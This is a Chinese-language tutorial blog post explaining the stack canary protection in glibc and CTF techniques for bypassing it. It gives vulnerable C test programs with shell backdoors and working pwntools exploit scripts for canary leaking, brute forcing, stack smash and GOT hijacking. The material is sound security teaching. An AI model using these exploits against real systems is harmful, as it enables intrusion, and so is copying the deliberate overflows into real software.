Canary攻击原理篇


[TOC]

Canary介绍

简介

我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。

Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。

Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。

原理

可以在 GCC 中使用以下参数设置 Canary:

-fstack-protector 启用保护,不过只为局部变量中含有字符数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护

开启 Canary 保护的 stack 结构大概如下:

       
High Address   |                 |
               +-----------------+
               | args            |
               +-----------------+
               | return address  |
               +-----------------+
       rbp =>  | old ebp         |
               +-----------------+
     rbp-8 =>  | canary value    |
               +-----------------+
               | local variables |
Low Address    |                 |
       

wiki:)x64程序

32位是取gs寄存器的值放在rbp-4处

当程序启用 Canary 编译后,在函数序言部分会取fs 寄存器 0x28 处的值,存放在栈中 rbp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:

mov    rax, qword ptr fs:[0x28] ;取fs:[0x28]的值给rax
mov    qword ptr [rbp - 8], rax ;把rax的值给rbp-8的位置

在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。

mov    rdx,QWORD PTR [rbp-0x8]
xor    rdx,QWORD PTR fs:0x28
je     0x4005d7 <main+65>
call   0x400460 <__stack_chk_fail@plt>

如果 Canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail__stack_chk_fail 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,定义如下。

eglibc-2.19/debug/stack_chk_fail.c

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

这意味可以通过劫持 __stack_chk_fail 的 got 值劫持流程或者利用 __stack_chk_fail 泄漏内容 (参见 下文stack smash)。

进一步,对于 Linux 来说,fs 寄存器实际指向的是当前栈的 TLS 结构,fs:0x28 指向的正是 stack_guard。

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
                       thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  ...
} tcbhead_t;

如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。

事实上,TLS 中的值由函数 security_init 进行初始化。

static void
security_init (void)
{
  // _dl_random的值在进入这个函数的时候就已经由kernel写入.
  // glibc直接使用了_dl_random的值并没有给赋值
  // 如果不采用这种模式, glibc也可以自己产生随机数

  //将_dl_random的最后一个字节设置为0x0
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);

  // 设置Canary的值到TLS中
  THREAD_SET_STACK_GUARD (stack_chk_guard);

  _dl_random = NULL;
}

//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
  THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

测试代码:

//gcc -fstack-protector-all -o test test.c
#include <stdio.h>

void func1(){
	int a = 10;
	printf("Func1 int a = %d\n", a);
}

void func2(){
	char s[10] = "func2";
    gets(s);
	printf("Func2 char s[10] = %s\n", s);
}

void func3(){
	char *s = "hello  world";
	printf("Func3 char *s = %s\n", s);
}

int main(){
	func1();
	func2();
	func3();
	return 0;
}

查看func1函数汇编代码:

  • 可以看到,在func1函数开始时,会把fs:[0x28]的值放在rbp-8处
  • func1函数返回时,会检查rbp-8处的值与fs:[0x28]的值是否相等(func2,func3类似

当发生栈溢出时:

Canary绕过与利用

Stack smash

原理

在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。

所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail 函数中就会输出我们想要的信息。(相关__stack_chk_fail等函数见上文

例题

32C3 CTF readme

程序开启了Canary和NX保护

程序逻辑:

  • 该题为读flag题,flag存储在byte_600D20数组中
  • 首先输入name,这里使用_IO_gets函数,存在溢出
  • 然后让我们输入flag,我们输入的flag会把byte_600D20数组中的值给覆盖掉,对于我们没有覆盖的byte_600D20中的值,程序会直接把其覆写为0

思路:

  • 在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 find 来进行查找。
  • 所以byte_600D20中的flag在400D20中其实还有一份,但是得程序加载才会有
  • 所以我们可以把argv[0]修改为400D20,这样我们触发栈溢出,这样由于Canary保护检测,就会输出保存信息和argv[0],这样就输出了flag

查找argv[0]地址:0x7fffffffdf08

计算argv[0]距离_IO_gets函数输入点的偏移:0x7fffffffdf08 - 0x7fffffffdcf0 = 536

利用栈溢出覆盖argv[0]为0x400D20,exp:

from pwn import *

io = process("./smashes")

payload = 'A'*536 + p64(0x400D20)
io.sendlineafter('name? ', payload)
io.sendlineafter('flag: ', '')

io.interactive()

2018 网鼎杯 - guess

前置知识:在linux应用程序运行时,内存的最高端是环境/参数节(environment/arguments section) 用来存储系统环境变量的一份复制文件,进程在运行时可能需要。 例如,运行中的进程,可以通过环境变量来访问路径、shell 名称、主机名等信息。 该节是可写的,因此在格式化字符串和缓冲区溢出攻击中都可以攻击该节。 *environ指针指向栈地址(环境变量位置),有时它也成为攻击的对象,泄露栈地址,篡改栈空间地址,进而劫持控制流。

_environ:

  • 在Linux C中,environ是一个全局变量,它储存着系统的环境变量。

  • 它储存在libc中,因此environ是沟通libc地址与栈地址的桥梁。

environ利用:

  • 通过libc找到environ地址后,泄露environ地址处的值,可以得到环境变量地址,环境变量保存在栈中,通过偏移可以得到栈上任意变量的地址。

程序开启了Canary和NX保护,程序逻辑如下:

  • 将flag.txt文件中的flag放入real_flag中
  • fork创建子进程(3次,所以我们只有三次机会
  • 使用gets函数输入猜测的guess_flag,存在溢出

这题与前面32C3 CTF readme这题类似,唯一不同的是这次的flag是放在了栈上,而不像上一题直接放在BSS段中,所以我们要泄漏flag存放的位置(栈地址

思路如下:

  • 找到argv[0]与输入点的偏移

  • 泄漏存放real_flag的栈地址

    • 计算real_flag与environ的偏移
    • 泄漏libc,计算environ的地址,然后泄漏environ栈地址
    • 计算real_flag的栈地址
  • 将argv[0]地址的换成real_flag栈地址,然后触发栈溢出,打印出flag

1、找到argv[0]与输入点的偏移:0x7fffffffdf08 - 0x7fffffffdde0 = 0x128

2、泄漏存放real_flag的栈地址

  • 计算real_flag与environ的偏移:0x7fffffffdf18 - 0x7fffffffddb0 = 0x168
  • 泄漏libc,计算environ的地址,然后泄漏environ栈地址:environ_addr
  • 计算real_flag的栈地址:environ_addr - 0x168

exp:

from pwn import *
#context.log_level = 'debug'

io = process("./guess")
elf = ELF("./guess")
libc = elf.libc

def leak(content, flag=False):
	payload = 'A'*0x128 + content
	io.sendlineafter('flag\n', payload)
	if not flag:
		io.recvuntil('***: ')
		return u64(io.recvuntil(' terminated', drop=True).ljust(8, '\x00'))
#泄漏libc
puts = leak(p64(elf.got['puts'])) #泄漏put函数got表项内容
libc_base = puts - libc.symbols['puts'] #计算libc_base
print hex(puts)
print hex(libc_base)

environ = libc_base + libc.symbols['_environ'] #计算environ地址
environ = leak(p64(environ)) #泄漏栈地址

flag = environ - 0x168 #计算flag栈地址
print hex(flag)

leak(p64(flag), flag=True)
io.interactive()

泄露栈中的 Canary

原理

1、Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要多次溢出,第一次溢出泄露 Canary,之后再次溢出控制执行流程。

  • 可以看到Canary的低字节为00

2、格式化字符串直接泄漏Canary的值

例子

测试程序(wiki:

//gcc -m32 -no-pie -0 leak_canary leak_canary.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

该程序开启了Canary和NX保护

  • vuln函数中read读入0x200个字符,存在溢出
  • vuln函数中printf(buf)存在格式化字符串漏洞
  • 存在getshell后门函数

有格式化字符串漏洞和后门函数,是不是想hijack retaddr

有格式化字符串漏洞,并且没有开启RELRO保护,是不是想hijack GOT

1、覆盖 Canary 的低字节

Canary被放在了ebp - 0xc处,在IDA里面可以看到ebp距离输入点的偏移为0x70 ==> Canary距离输入点的偏移为0x70 - 0xc = 0x64 == 100

from pwn import *

io = process("./leak_canary")

shell = 0x80485A4

#把Canary的低字节覆盖为'A'即0x41
payload = 'A'*101
io.sendafter('!\n', payload)

io.recv(100)

canary = u32(io.recv(4)) - 0x41
print hex(canary)

payload = 'A'*100 + p32(canary) + 'B'*8 +'dead' + p32(shell)
io.send(payload)

io.interactive()

2、格式化字符串直接泄漏Canary

  • 调试得:Canary为格式化字符串的第31个参数 ==> %31$p可以泄漏Canary的值
from pwn import *
io = process("./leak_canary")
elf = ELF("./leak_canary")

#泄漏canary
io.sendafter('!\n', '%31$p')
canary = int(io.recvuntil('00'), 16)
print 'canary: %s' % hex(canary)
#ret2text
payload = 'A'*100 + p32(canary) + 'B'*12 + p32(elf.symbols['getshell'])
io.send(payload)

io.interactive()

one by one爆破Canary

原理

对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的。one by one爆破思想是利用fork函数来不断逐字节泄露。这里介绍一下fork函数,fork函数作用是通过系统调用创建一个与原来进程几乎完全相同的进程,这里的相同也包括canary当程序存在fork函数并触发canary时,__ stack_chk_fail函数只能关闭fork函数所建立的进程,不会让主进程退出,所以当存在大量调用fork函数时,我们可以利用它来一字节一字节的泄露,所以叫做one by one爆破。

例子

测试代码(上个测试代码稍微修改:

  • 这道题有fork函数,会循环创建子进程
  • 没有了printf输出函数
//gcc -m32 -fstack-protector -o one_by_one one_by_one.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>  
#include <sys/wait.h>

void getshell(void) {
    system("/bin/sh");
}

void init(void) {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}

void vuln(void) {
    char buf[100];
    memset(buf, 0, sizeof(buf));
    read(0, buf, 0x200);
}

int main(void) {
    init();
    while (1) {
        printf("Hello Hacker!\n");
        if (fork()) {
            wait(NULL);
        } else {
            vuln();
            exit(0);
        }
    }
    return 0;
}

exp:

from pwn import *
import time 

#context.log_level = 'debug'
io = process("./one_by_one")
elf = ELF("./one_by_one")

canary = '\x00'

for k in range(3):
	print "Find %d" % k
	for b in range(256):
		#print "Check %d for %d" % (b, k)
		payload = 'A'*100 + canary + p8(b)
		io.sendafter('Hacker!\n', payload)
		time.sleep(0.01)
		res = io.recv()
		if 'stack smashing detected' not in res:
			print 'the %d is %d' % (k, b)
			canary += p8(b)
			io.send('A'*108)
			break 

print 'canary: %s' % hex(u32(canary))

payload = 'A'*100 + canary + 'B'*12 + p32(elf.symbols['getshell'])
io.send(payload)

io.interactive()

劫持__stack_chk_fail 函数

原理

在开启canary保护的程序中,如果canary不对,程序会转到**__stack_chk_fail函数执行**。__stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。

例子

测试代码:

  • 程序存在格式化字符串漏洞,且有后门函数
  • 这里只有一次read–printf机会,所以不能leak canary后再攻击
  • 利用格式化字符串漏洞任意地址写,将__stack_chk_fail的got表项内容替换为getshell函数地址
  • 触发Canary,执行__stack_chk_fail ==> getshell
// gcc -m32 stack_chk_fail.c -o stack_chk_fail
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    char buf[100];
    read(0, buf, 200);
    printf(buf);
    return 0;
}

exp:

from pwn import *

io = process("./stack_chk_fail")
elf = ELF("./stack_chk_fail")

#格式化字符串地址相对于格式化字符串的偏移为10
payload = fmtstr_payload(10, {elf.got['__stack_chk_fail']:elf.symbols['getshell']})
payload = payload.ljust(0x70, 'A')

io.send(payload)
io.interactive()

数组下标越界绕过Canary

原理

当程序中存在数组,没有对边界进行检查时,如果我们可以对数组进行对应位置修改,我们就可以绕过canary检测,直接修改返回地址。所以如果可以对arr数组任意位置进行修改,这就存在数组下标溢出。

以下图为例,数组大小为3,但是没有对数组的下标进行检查,这时返回地址就相当于arr[5],如果我们对arr[5]进行修改就是对返回地址进行修改。

覆盖 TLS 中储存的 Canary 值 (具体见Canary-TLS Blog

原理

已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。(一般是针对子线程

如果我们溢出的足够大,大到能够覆盖到fs/gs寄存器对应偏移位的值,我们就可以修改canary为我们设计好的值,这样在程序检测时就会和我们匹配的值进行检测,从而绕过canary保护。在初始化canary时,fs寄存器指向的位置是TLS结构体,而fs指向的位置加上0x28偏移的位置取出来的canary就在TLS结构体里面。


文章作者: XiaozaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaozaYa !
  目录